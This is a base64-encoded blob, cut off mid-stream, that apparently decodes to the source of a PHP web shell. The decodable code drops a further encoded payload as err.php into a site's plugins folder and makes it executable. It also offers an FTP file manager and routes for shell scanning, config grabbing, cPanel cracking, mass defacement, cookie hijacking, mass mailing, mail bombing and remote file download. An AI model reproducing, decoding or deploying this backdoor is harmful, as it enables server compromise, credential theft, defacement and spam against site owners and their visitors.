TnptVUJrbWp5Szd4Q2llaW9WSTdObkN5azZ6VXBNdjd4TDQ1SlE0U1hjRzZ5eXZTTEZIeGE0Q3F3TVg5a3hnSmNyOEpjd2ZGeFpxMVF5ZGIyUXJpaGplbHVoR1M1c0xLekFybXBLZ0FQVG9sekNFclRWSmZQbzBQT1lWazFIdlIyZTlwSy9NeVdvSU5JY0RYK3N2VDM3THpGdFB6NGk5TnhldnFQaWtSUS9MdDFlYUtsdUZwc3BXMzJobVRRRDFFaDQ2ZzFKbU1hVlJCcjNDdU1VYXN5c3huKzZ3djR6dHlyTVhZWVFxRnBBY3phcGNZOWtsRDQxSTVzUjFKTDN2elRCMTBjK1czbWFZdnA5aFVSVHg0S1hBWjR3YXc1S3o4cVdRS1VuS1RsQW9vVUEzUDZWZG1YZjRNU1ZjZDQxUENyRzZ3M1E3QlNuTnBUWVFWSFk5K3lQZjJ2NUtRMHVmRktEdU1teXRUR2JRUGtnSlNLTDBwbW9Xc3cxemFjNkhuOXNCeC9ZREJmbHFwdUpxYjZMclVzQlkxT0Q2TW9heitaallRNkpTUktkemxQaWZtc0xSOEJ3ZUhiYzdocnpmRDIrNjZPZE5iVHl0UExoRW40cEp0NDFhQmY3Z1pKbU9udW1MbWYzZUh1bWVPUnZwUnBrZFhVZ1pUT3pFWlN0NThGU0tyTXBOaXA3V3pOUDB3cmw3Wkg2bDhpblJsN3VrUXNwcXVzL1VhdVhBOXFIQVpxT0hVWk1Ld210U0s2blZLeUdGUFdvdEZ3UXMySWs4a3Ayd3RqTlU5ekwyOGtPZmZNaFhaakM5QkFYdkZmclBaWEtUM2xmRFAzMktLZTVxUER1OVZ5cUlWd3Z4WHR6T0xiWVZDZzBmQVNwMUhESHJSN3oreEIwR1ZsQUJHOEl5cDlRcVVqVGhReXFTbzdZbWJCOFZ6OGk4ZEN3Wk56OXF1NXFkeDVKQzBFdElQWUZxZ0dEdWVKZGExaTFLQ1U1ZElYVTZCMXltQTREM1oyYlNtZ0gxYW9oM0RvVndqT1dHaXBwalNmRlpmZHFrN3VYSUVPQktSUVU3eStRUmhXbTZjQUliMStwTlFZNUR1SzFDTXlVZnpURzltNk5COENoR0ZQeVB1cVdVdlZ6QVF1UDduQUV1b3VmVmcvSHcrajVhOXdSMjdOSjBrWWJzaThob1Q5R0h5U09wcytnSzZTb2lFTkxWU1pXYm14dWFxbE9Kbkpxai8xUVJ5S1lqdzZoUG5PTVdlTnRLblVWY3dXMlhzSXQ0bVBER3N3TXJDaWlVMDIzbE5WQnc1cCtkbjJJbUhEbHZkODVPVHpydHRFZGZURUJKM2RiVElza3JldFNlckhVOGI0TzZlR3dGdmtEb3ovVmZ0dVNhTnhOUXBqUXJnQjZOeG5abDNtMldBeFNPTVpZb0RNOFh6Sm9WTDRjeFJBOVZBM2UzRE9xV3RFTmc2Y2M4OGtsdmRranNIK1N1ZDBYSEI2M2VwNXNiMWo1MTgwZUNUWXJXOUl3MS9DUTJLc0ExeWNQaiswTnpkcVVQRng3ZXhLRW5rR0lpNXc4KytZRWxoSXYzSnBWSjRyS2tkTTVUdUk5SjhVSGplKzRLWCsvVFE4TDNGK0tkUzJWaUpOMkdraU9Db0NPQ2ZZell0QlExemEwU2h2VnVGZXJaTFU4WmUrckVWVkF0VWdTUzdJUll6SXBTVUU0SlM1ckkrL1J3Rk51VlM3cEo3N1RLNzZRRWJOV2VTbzF6dWl0VHZFcWY0WHVGdVJpaTlETWV4a2hjTU52UFRldkpCeXg0NG5PMmoxeXZNSldBUDhRWFZiR0xPZUIvbHRTQlB6RVBzVkJ0Z0FjMjR1dTRSTkFKbjZuL1JPLysxV3FXZXo2ZVQvU2Z0SGJaSnp5WGlIN1RrTll3VUVMNVF1ZG1tYVQwSmF2U3pFSFlCT2ljUmtRbTRFSjNzZWhyVkNLTTdzNEtMNFFwaEJBWkptQmpmUzJHa040a0lkeUNVZ3doRzVsTWxIa0lXVk5qUllRNms0RGVwZEN0dFB0V2laQzF6RUNZa01xRWRLVXZOS3VCbVdqUEFoQUkvUVhWd3ZUZ1VIeGxXVk1Oa0xURWtHSGlIbHdhTlh5VXhBWGYyS0draWt6VmMxS0x2ZTI4SklrMXZOa202a0U0eXJ2MFZIaUQxV2d1MjAraE11RUErS2dWTUxmalNadDJWQzYvbVdZRitDeDBJaXlGMGxKWnJZWk9lMlo2c0diMGs1RVJib3NDUUk5VUVTQ09kMW5zQjVVcXIvb29wREVyU0tUTE41bUlKTUl3Yndtd1B0WHVDTCtwNXlFRFlCbS9Da0c4TUloTGRscWsvaXhiS05uMWdrdTNZdGt1NzlnNDR4aVpwVk0zVnR1NzUvalVHZHdtc3liWkJPRGNMWUVwemJkeVhGdVV5ckl1TUFxRko1WXN1T2sxTmRzbUVCc3FUQUVKYms0Z0ltWkhoak02RXlwT3NBNzh6b0kxV3I3Um4yd3BJbDdGUHBsdnoxVVpFbk1YZHNlM25uWEZGNXh1VHl2MWQvSFNBYTFFMXgzMmdVL0tETEQ4VHJuY1hJaXNobG5IOE9rUi9JaTZWZ2tudTN5SGo1d3lvWldXVUxpU05RY280ZU5FeFRFZEx4MUgxdURhK2ViOEdCbUh4by9lNi9CVk9oZmdmWGdsTmhZdk9hQmhZRFZUdGxicnI4T3pMWVdwbFBBbTVMVmhaTW1FTEd1d0Vua0x6MTZGTWxxOUlGRmgzZnR0NGU3QnRuVGJncFFxRzY1Szlzd2FabTdIY3JkUlVVUDE3aW1HdXdwQjd5eHJYakVkKzNwVkhTNDJWQkFrd1ZYSDlNUjdtdkVtOEZwZGpKMm1NYUxuRU1PRk1BTG9UclJVcW9FR0ZYditocjdib1BITVZrbXZQdGsxU2thMi9reURYYVlnUkk2S0lkaFlLZkJUaGV4aTU3d3dvK28wandDbm1WTmZ2Z282NmJNTWFOU1MzeXd0blRKWXhibDlyMVJrcEE2LzBnNnhER05ob2NqTUN1ZE9RRTY4OU13RFAxTWMrU3Z4TU84cHVqSC9kWFI0dEUvdnBTWkhIWExTYmgrd3c4YW9BZmd4ajNDZytFVXRYZGtuSlo3amVJSExPdHBEQThlZUNnbnNLVWRvanNPQ0NMRTFJYWFuTmJPOHFkbmVsWGgvSS9sbzZEVWhpY3ZNMFhoT1JlZ0dZWVFPdzNkQllBNG5lRDhWalFTd3E1QTBmZ1YxRkZRc3BjejU2SG96ZGhlTlRFbjY0cnFreit4UmRwSzdmQlJjZnB1T3BzUlY2c3lGa3dDNVF6SmJHUThyeHNVUGVNUTBaRjB6bkdPV0p0MThvZ1N4TU1jeTgxVGhnNlJUWCthYytuUnAraXIrNkpKbDZGV2dkTUVhVGVXTWtHNmFWYlNtM21oSlp2aEJFK2tnYktKKzJDQ2pqakxTa2VQTG85Njc2TTRSQ2pUUEZ4aUg1WkxodUlTQThaNGtCM2VkWFVlQ2VWWWtqcWlWK1p6STNIWEZYY0VqTUtrYnY4ekFKRkZnV2hrZm9IcDlPSEZaWlhua3VacmxhaEhMOGI1SXNTWG5JbzlZY3dRWmg4WEZNenFjc0JkcXlqRHc1S09tR1ZvamZMYkx2SGJ0RVgyRXB6VER0NXljRXJreHZSa2VJTHNFbmhONk91bVdkRHJISkRadVVvSVhCUzU1Uis4by9ibDkvUDQ3YnRUUXR3cmdtNktuMGNyeit2VGc2UEJQc25keVFBN2V2RDdESmVqMHpmbCtPM1dqaGF5TW8vZGc1TE85SXRFdCtlWTZ1VlIxMWxsT3pCZWVzZXJuYm1FaVpQSk5ZTTlodjBTYmQvL2E2VC9aTWFpWlJMOXVpcC9YYkovZDk3VytMWnRQSVpWWkp3Y1NqOG5kaDBZa2hyV254T3p1QUltVXdPZzcvTEN6NXRzOGJwUkJYUUZjcFRXOWQrbk91bWJsSTE3NXpoMi8wZDEvNHRWLzlPYS96L2hURDNibmVCRWdtcGFsTDZVQWVqdHpXYWQyNkZBODM0eCtaejBzcmRkTFJVYmdrWHg0Z3o5NGR5Lys2L1owL0prQ01QZ0lMR1gyWFhiSStWODRrVjVkdkQ0V0pwRWkzaHl3RzZtRXQ3V0V0N1EwVTM0NWl5L21FOWllUzQ5SmFVQzU0bTA4M3hzaStZNDdHNDhzZjVoc2drOGtydFFFZTY2bHNGeWF3M2RvTStCeFRLazIzbDFhZ1BZclQzcmV0eER0UXB1Q1RYREpTbE1ET29uYWZGSlZ4N3pscnhrbW9jdEV6T0ozZWxORUxIeHJhczRUSFExZnRaUWE4TnNpcEpvbUxDbEZXQ2MrTTV5b0J6U0VwSGdKNk1MYmcwSXJydFRscW1BWG05TlVIK215bnFCNGpxNEVMUVZ6WkZFeFFHdVRIZHpUM011M3NMamhUNlkzbk9DR1dRTEVpeE9BTUlNYitjbmhSREFkMC9mdGtRZ01mc1NGVGdiS05JdTJiRVI5eTFIZ1RsV2JlQnBSVHphcFdvQkpmbHJSMlJJb2dXYlducXhVZTdSSzdjdXhUejh1NmQ2bEErWURmWmxPZlB0eHlCN3pGT3FOTEVlaG10TDFyT21sTlZvKzYvQ2U0a3hOUjNWYWF0N1p3b1RPbmM5K0lVSm50TXRMQ1FWendBUEUyZ3FFdmxkcSt6UUZDeWRUQUZtdHpNdCt1U1hrQjdjcVN5aFJ3b3loeE1wM3ovdCs2YU1SZVRmKzRyc1JHWGYrcGhidTNGdDBFL2ZqVm1XN1U3NGYyQ0RWeFAyOWVTdDl4dlhKejJuVUhHeXB2Y3EvZTdzVnNLaDBaT0NHc2JQV0tlWHdiMVYrVWQ5ck1aWlJ3eWhGYUVSa3BiZko3RDZ3K1ZyTHJuMk9qRCswL2NENG8zMktuZjdJTi95UWtvYWNpeW5Tb1V5MTc4Q3pMaGUyTTVMZmh4T2k4WUZuRHZBdHUvRHBodFFKVkRNSVBGLzFucXA4a1AydHhQbTNBdWVSNFc5amhyOXRjcGhTYnR1MHUvNldYc1dNZm9qb0NtYjZNYng4bWY4aXZGM0pQbTJMNWR2cDhpMnhmQXZMMlY3YVlPK1p2RTN2WXhNT1cwYXRScWQxL2pOQ0liTlR6dE9Za3hHY2pHdkdFOGlXUC94ampvbDBnRkp3bk5MVC9KbFBJOUViVU9IZnZCNUZONmRBdmVYaGJQYW1nS2w2VTBETlVtcGxLYlAxYzZMNHl6bXQ0anBEUmFTekpESVZHVUR1Vm51d2dQRUE5eEtGdVlDTHpyZGhBc1dVaWxwSlpLekdoWFJub3AzRHQrbFJqQzZyV3dKQkR6bkNkQ05TZUlqTlJQenVxL0FrdXdRSllsay9TWHJrNTNCV0pFMGNpUGpDdm94N1dySUEzT1dUL1VobUpEdk9sejVUTHZVdXFzUzdONFpkMVJmMFVGb2t0ZWQwejByUWI5Y3FUZXpSeUpxVmlCZ0x5Ym5mc1VUb3RvL1ZGQzd3VkFxdUdZVnUrWHJGSUd6dWFNMlZoMFJiMWlaTDJBdU0wdkpKS2hDUzI5TUhuYUIwZi92dFY2SThmZ2kzRGtwbytRbGF5MWhsSFZOeThpc3NaZFRUa2NQSGhIK1pWaGV2ZmVHVVpSL01XOGJnWWx1WEdyZWlsL2hVNzdXbTRSR0lpdlYrWVYvVHNlSmZRMmVQSXFVQTlnTTgrd2QrWWxrRUNsRDNZSWJpMlZGTS82cFZmdWsvZ1I4d3VRbkVvWVViVWtQQ0d4RmJacysxMFR0V2NsVGlDck44dFVWS2xPV0lLR2dXa2FYSWoyTEtQU3pmd2xFdTlUVE5NRlpYV1BlYUF0VHZXVmlWaFA3UWIyTUFSZGlJY0JjWWtTLzlFcGtwM3Z0RkJBRVJxSDVROWNHZG1vVzVGN2ttdnpMNytGNlhLZDVtRVowdGlhUW5HUnd4MGZ6QlJmcllXTGh3RjFIdlBMNllac0tYNmk3K2dBS3FxUEFHWGFtRUU1eE11L2lxTXNzd1o2MWhuT0l2N1RoM2duK2JXUmdpeStwVFJNeVg5aXAwMFgrYmJrWFlST1ZTemxVdTBsMkpzQnlWY1FVVTlJelFnWHN3US9YRTlFcTJSSGlmTTMrbDlNSFVIQi9nd21xT3g3YSt6VENHeUxLa015TG1JWlROZjVYM3d5bHZHb1g3TmpMQ1VHVkpDQ2ZraStXRHh4cDVycXRzeVE0ZEtHcklWbXRVLzVzc1N5RzJ6SlVwSXVkdm9NYnZZU1ArVFhVM0M5QVhWdDNVaGNOT2tzZXNZZUg4eU02S25QSHBOdXdoWGR5bnArOHo3UFp1cWh1Vi9rWmpjMU5jTTBQZzMwSldPSzZzS1JDUzhxQ3VWSnFJMHNqMHBXZVcvejl3cDlPWGQyWlhyYnIyWDhmNk1tbkl2bDVlVHJHTkkxYzB6eGJKdVo4blJXSXcvYTl2ZklHZitENCtFSVkxZzhXY3BLL3E1VWpmYnBsSXVPZTl5cnU1d0xvWnNEQms2VGtPUy9MNkhDRTVtc2FTcFlUcW9wY1dKZCsrNVduUjlQVmJ0Q1VTMyttanQ5Rnp0eVhsUFVZaDNYaTVHY3UxcGxSVkNZY2lQU1hGN3pjS1g4bmxOYUl2NFp1NkNkYW1EOW1zNE1xTUNTVGFEc1VlUnlKeW5aeVo3MlNFcmxwN05uUVdJNHM5YU5SUHZXYW16YTR5YnY1QWc1byt2TWJ6QWJUbkkvdWEwR0IxcTNSamo0SkpvMTZyL2RDY210N1lualZxVGN4cXhqTmQ0MWxqYU9GVEFzMUwxeHRaWHVYU0RRSjMycWpQUHhEZmRld1JXZnRwNjltelowK2JRMWc2dmNaYWpmNXB4Z2xXRlY1d3VIVjRjTGpkdkhKblFRVVBVRFRxVy9NUDdOY2J5eDVQZ3NhbDY0elloeXR6YWp1M2pWL3RnQjFzSVg5WW5razY1c3d2bTU1dE9tVWZmcXo0bG1kZk5lZm1hR1RQeG8ybkFLMjBvMlhQT1JpTjU1UUhMTXpVS3VHVlRTWENnaGhoRUVpK3Vud1pQUExjTVM4dEIyZEtxelNBUDh1dU9pL3RQRGZKSkRwaXV4NGoyaHVOOElIRTU1dm1UdVA1SmdXN1Ezak15aDRWaE02ald6aDRKWUpNYnBWK3JxbWpYS3JXUXBBcnBnd0RWMHVZSUViVzJGTi9JYzZ4RzBGOTZSWUExUjI3RFpKZzBSYy9zaWRHTlQzcmVqQ3lQYnJDYTZTMHM1Z1RkMllSK0lTY0wyZmdwaFlzSFNaNkg4TGNIRnRZdmI5RTJpNDk2UEh6aWNkamY4b3JhQW8va3F0UXNHRU9lTWJidUVYdU1ZZ1VBeXBUSnMwNzBuaUNaaHUrdTNRL3FLVkk5UnBobDFhSmV3T2YrclNaTHI3VUM1cVpVTmpXaUNPeFJxWDRibTROZU1ZZlNLQkVTUjNEVTAvSTMzQ2FhTGxybzFJUDB1N1NXd3Qzbm0rQ0x0elJWa25nNzJIZUd4YlJCTUplbExaZjY4MWlIQ1dpU0lDcko5OVUvZUt6aG4rM2M0YjNQRFZYL0xSY2RJbGdZaDFtYSs3OXo4bmQ4NHpjOTk4VlBCdTMvRnpjOTkrdGZCN3VVL0ljbmZvY25LQTd2dVQ4V3lqMDdNQ2FQQUJRWlhmbmZ3RT0iOw0KJHBhdGgyID0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvcGx1Z2lucyc7DQppZihpc193cml0ZWFibGUoJHBhdGgyKSkNCnsgICAgICAkZnVrPWd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRweHkpKTsNCiAgICAgICBmcHV0cygkaT1mb3BlbigkcGF0aDIuJy9lcnIucGhwJywndycpLCRmdWspOw0KICAgICAgIGZjbG9zZSgkaSk7DQogICAgICAgZXgoInBocCBlcnJvcnMucGhwIik7DQoJICAgY2htb2QoJHBhdGgyLicvZXJyLnBocCcsIDA3NTUpOw0KfQ0KZWxzZSB7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdObyEnKTwvc2NyaXB0PiI7DQp9DQp9DQpmdW5jdGlvbiBmdHBfbWFuX2JnKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5GVFAgRklMRU1BTkFHRVI8L2gyPjwvY2VudGVyPjxociAvPiI7DQogICAgJGZob3N0PSRfR0VUWydmdHBfaG9zdCddOw0KICAgICRmdXNlcj0kX0dFVFsnZnRwX3VzZXInXTsNCiAgICAkZnBhc3M9JF9HRVRbJ2Z0cF9wYXNzJ107DQogICAgJGZwYXRoPSRfR0VUWydmcGF0aCddOw0KICAgICR1cGw9JF9HRVRbJ3VwbG9hZF9maWxlJ107DQogICAgJGRvd249JF9HRVRbJ2Rvd25sb2FkX2ZpbGUnXTsNCiAgICBpZigkZnBhdGg9PSIiKQ0KICAgIHsNCiAgICAgICAgJGZwYXRoPWZ0cF9wd2QoJGNvbm4pOw0KICAgIH0NCiAgICAkY29ubj1mdHBfY29ubmVjdCgkZmhvc3QpOw0KICAgIGlmKCEkY29ubikNCiAgICB7DQogICAgICAgIGFsZXJ0KCJGVFAgSG9zdCBOb3QgRm91bmQhISEiKTsNCiAgICB9DQogICAgJGxvZz1mdHBfbG9naW4oJGNvbm4sICRmdXNlciwgJGZwYXNzKTsNCiAgICBpZighJGxvZykNCiAgICB7DQogICAgICAgIGFsZXJ0KCJGVFAgQXV0aG9yaWNhdGlvbiBGYWlsZWQiKTsNCiAgICB9DQogICAgaWYoJHVwbCE9IiIpDQogICAgew0KICAgICAgICAkZnAgPSBmb3BlbigkdXBsLCAncicpOw0KICAgICAgICBpZiAoZnRwX2ZwdXQoJGNvbm4sICR1cGwsICRmcCwgRlRQX0FTQ0lJKSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1ncmVlbj5TdWNjZXNzZnVsbHkgdXBsb2FkZWQgPGZvbnQgY29sb3I9cmVkPiAkdXBsIDwvZm9udD4gPC9mb250PjwvY2VudGVyPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5UaGVyZSB3YXMgYSBwcm9ibGVtIHdoaWxlIHVwbG9hZGluZyA8Zm9udCBjb2xvcj1ncmVlbj4gJHVwbCA8L2ZvbnQ+IDwvZm9udD48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmKCRkb3duIT0iIikNCiAgICB7DQogICAgICAgICRoYW5kbGUgPSBmb3BlbigkZG93biwgJ3cnKTsNCiAgICAgICAgaWYgKGZ0cF9mZ2V0KCRjb25uLCAkaGFuZGxlLCAkZG93biwgRlRQX0FTQ0lJLCAwKSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1ncmVlbj5zdWNjZXNzZnVsbHkgd3JpdHRlbiB0byA8Zm9udCBjb2xvcj1yZWQ+ICRkb3duIDwvZm9udD4gPC9mb250PjwvY2VudGVyPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5UaGVyZSB3YXMgYSBwcm9ibGVtIHdoaWxlIGRvd25sb2FkaW5nIDxmb250IGNvbG9yPWdyZWVuPiAkZG93biA8L2ZvbnQ+IHRvIDxmb250IGNvbG9yPWdyZWVuPiAkZG93biA8L2ZvbnQ+IDwvZm9udD48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjx0YWJsZSBjbGFzcz0ndGFibGUnPjx0cj48dGg+RmlsZXM8L3RoPiI7DQogICAgZnRwX2NoZGlyKCRmcGF0aCk7DQogICAgJGxpc3Q9ZnRwX3Jhd2xpc3QoJGNvbm4sICRmcGF0aCk7DQogICAgZm9yZWFjaCgkbGlzdCBhcyAkZmZmKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPHRyPjx0ZD48cHJlPiRmZmY8L3ByZT48L3RkPjwvdHI+IjsNCiAgICB9DQogICAgZWNobyAiPC90YWJsZT48L2Rpdj4iOw0KfQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLyBGcm9uZCBFbmQgQ2FsbHMgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQppZihpc3NldCgkX1BPU1RbJ2VfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2VfY29udGVudF9uJ10pKQ0Kew0KICAgIGVkaXRfZmlsZV9iZygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnc2gzMTFfc2Nhbm5lciddKSkNCnsNCiAgICBzaGVsbF9maW5kZXJfdWkoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2Z0cF9ob3N0J10pICYmIGlzc2V0KCRfUkVRVUVTVFsnZnRwX3VzZXInXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydmdHBfcGFzcyddKSkNCnsNCiAgICBmdHBfbWFuX2JnKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydmdHBtYW4nXSkpDQp7DQogICAgZnRwX21hbl91aSgpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydzc2hfaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3NoX3VzZXInXSkgJiYgaXNzZXQoJF9HRVRbJ3NzaF9wYXNzJ10pKQ0Kew0KICAgIHNzaF9tYW5fYmcoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ3NzaG1hbiddKSkNCnsNCiAgICBzc2hfbWFuX3VpKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydjMGRlX2luamVjdCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BhdGgnXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgY29kZV9pbl91aSgpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydzaDMxMV9zY2FueCddKSkNCnsNCiAgICBzaGVsbF9maW5kZXJfYmcoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2NvbmZpZ19ncmFiJ10pKQ0Kew0KICAgIHN5bV94eHgoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2Z0cF9tYW4nXSkpDQp7DQogICAgZnRwX21hbl91aSgpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnbWFzc194cGxvaXQnXSkpDQp7DQogICAgbWFzc19kZWZhY2VfdWkoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnZl9ob3N0J10pICYmIGlzc2V0KCRfR0VUWydmX3VzZXInXSkgJiYgaXNzZXQoJF9HRVRbJ2ZfcGFzcyddKSkNCnsNCiAgICBmdHBfbWFuX2JnKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ21hc3NfbmFtZSddKSAmJiBpc3NldCgkX0dFVFsnbWFzc19jb250J10pKQ0Kew0KICAgIG1hc3NfZGVmYWNlX2JnKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydmdHBfYW5vbl9zY2FuJ10pKQ0Kew0KICAgIGZ0cF9hbm9ueW1vdXNfdWkoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnZnRwX2Fub256J10pKQ0Kew0KICAgIGZ0cF9hbm9ueW1vdXNfYmcoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2tpbGxtZSddKSkNCnsNCiAgICBraWxsbWUoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2hleGVuYyddKSkNCnsNCiAgICBoZXhfZW5jb2RlX3VpKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydyZW1vdGVmaWxlZG93biddKSkNCnsNCiAgICByZW1vdGVfZG93bmxvYWRfdWkoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX0dFVFsndHlwZV9yX2Rvd24nXSkgJiYgaXNzZXQoJF9HRVRbJ3J1cmxmaWxlJ10pICYmIGlzc2V0KCRfR0VUWydwYXRoJ10pKQ0Kew0KICAgIHJlbW90ZV9kb3dubG9hZF9iZygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnY3BhbmVsX2NyYWNrJ10pKQ0Kew0KICAgIGNwYW5lbF9jcmFjaygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsncmVtX3dlYiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3RyeXp6eiddKSkNCnsNCiAgICByZW1vdGVfZmlsZV9jaGVja19iZygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsndHlwZWQnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWyd0eXBlbmMnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29udGVudCddKSkNCnsNCiAgICBwaHBfZW5kZV9iZygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsncmVtb3RlX3NlcnZlcl9zY2FuJ10pKQ0Kew0KICAgIHJlbW90ZV9maWxlX2NoZWNrX3VpKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydzZXJ2ZXJfZXhwbG9pdF9kZXRhaWxzJ10pKQ0Kew0KICAgIGV4cGxvaXRfZGV0YWlscygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnZnJvbSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3RvX21haWwnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydzdWJqZWN0X21haWwnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydtYWlsX2NvbnRlbnQnXSkpDQp7DQogICAgbWFzc21haWxlcl9iZygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnbXlzcWxtYW4nXSkpDQp7DQogICAgbXlzcWxtYW4oKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2JvbWJfdG8nXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydib21iX3N1YmplY3QnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydibWFpbF9jb250ZW50J10pKQ0Kew0KICAgIG1haWxib21iX2JnKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydjb29raWVqYWNrJ10pKQ0Kew0KICAgIGNvb2tpZV9qYWNrKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydtYXNzbWFpbGVyJ10pKQ0Kew0KICAgIG1hc3NtYWlsZXJfdWkoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ3JlbmFtZSddKSkNCnsNCiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsNCiAgICByZW5hbWVfdWkoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnb2xkX25hbWUnXSkgJiYgaXNzZXQoJF9HRVRbJ25ld19uYW1lJ10pKQ0Kew0KICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOw0KICAgIHJlbmFtZV9iZygpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnZW5jb2RlZmlsZSddKSkNCnsNCiAgICBwaHBfZW5kZV91aSgpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnZWRpdCddKSkNCnsNCiAgICBlZGl0X2ZpbGUoKTsgDQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9SRVFVRVNUWydkb3duJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSkNCnsNCiAgICBkb3dubG9hZCgpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsnZ3ppcCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3BhdGgnXSkpDQp7DQogICAgZG93bmxvYWRfZ3ppcCgpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsncmVhZCddKSkNCnsNCiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsNCiAgICBjb2RlX3ZpZXdlcigpOw0KfQ0KDQplbHNlIGlmKGlzc2V0KCRfUkVRVUVTVFsncGVybSddKSkNCnsNCiAgICBjaGRpcigkX0dFVFsncGF0aCddKTsNCiAgICBjaF9wZXJtX3VpKCk7DQp9DQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkgJiYgaXNzZXQoJF9HRVRbJ3BfZmlsZXgnXSkgJiYgaXNzZXQoJF9HRVRbJ25ld19wZXJtJ10pKQ0Kew0KICAgIGNoZGlyKCRfR0VUWydwYXRoJ10pOw0KICAgIGNoX3Blcm1fYmcoKTsNCn0NCg0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2RlbF9maWwnXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgZGVsZXRlX2ZpbGUoKTsNCiAgICBleGl0Ow0KfQ0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ3BocGluZm8nXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgb2JfY2xlYW4oKTsNCiAgICBlY2hvIHBocGluZm8oKTsNCiAgICBleGl0Ow0KfQ0KZWxzZSBpZihpc3NldCgkX1JFUVVFU1RbJ2RlbF9kaXInXSkpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgJGRfZGlyPSRfR0VUWydkZWxfZGlyJ107DQogICAgZGVsZGlycygkZF9kaXIpOw0KfQ0